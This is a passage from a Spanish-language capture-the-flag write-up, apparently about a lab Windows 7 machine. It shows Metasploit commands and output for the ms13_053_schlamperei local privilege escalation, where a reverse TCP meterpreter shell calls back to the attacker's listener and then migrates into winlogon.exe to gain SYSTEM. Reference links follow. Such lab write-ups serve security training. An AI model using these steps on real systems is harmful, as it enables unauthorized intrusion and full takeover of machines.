    msf6 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms13_053_schlamperei
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    msf6 exploit(windows/local/ms13_053_schlamperei) >
    
  • Configuramos el módulo:
    msf6 exploit(windows/local/ms13_053_schlamperei) > set SESSION 1
    SESSION => 1
    msf6 exploit(windows/local/ms13_053_schlamperei) > set LHOST Tu_IP
    LHOST => Tu_IP
    
  • Y lo ejecutamos:
    msf6 exploit(windows/local/ms13_053_schlamperei) > exploit
    .
    [*] Started reverse TCP handler on Tu_IP:4444 
    [*] Launching notepad to host the exploit...
    [+] Process 4060 launched.
    [*] Reflectively injecting the exploit DLL into 4060...
    [*] Injecting exploit into 4060...
    [*] Found winlogon.exe with PID 440
    [+] Everything seems to have worked, cross your fingers and wait for a SYSTEM shell
    [*] Sending stage (175686 bytes) to 10.10.10.5
    [*] Meterpreter session 2 opened (Tu_IP:4444 -> 10.10.10.5:49161)
    .
    meterpreter > shell
    Process 1068 created.
    Channel 1 created.
    Microsoft Windows [Version 6.1.7600]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    .
    C:\Windows\system32>whoami
    whoami
    nt authority\system
    

    Con esto ya hemos ganado acceso como Administador.

Es posible que falle y no se genere una sesión como Administrador, pero el módulo indicara que sí funciono, entonces, si entras a la máquina puedes buscar el proceso winlogon.exe y migrar a este para ser Administrador.

meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System             x86   0
 236   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 328   308   csrss.exe          x86   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 380   308   wininit.exe        x86   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 388   372   csrss.exe          x86   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 440   372   winlogon.exe       x86   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
.
meterpreter > migrate 440

Con esto terminamos esta máquina y como mencione antes, prueba si puedes escalar privilegios utilizando Juicy o Rotten Potato.



  • https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/iis-internet-information-services#internal-ip-address-disclosure
  • https://medium.com/@kubotortech/pentesting-exploiting-ftp-cba8ec81968e
  • https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/
  • https://www.infosecmatter.com/nessus-plugin-library/?id=108808
  • https://victorroblesweb.es/2013/12/02/comandos-ftp-en-la-consola/
  • https://www.exploit-db.com/exploits/40564
  • https://www.rapid7.com/db/vulnerabilities/WINDOWS-HOTFIX-MS11-046/


FIN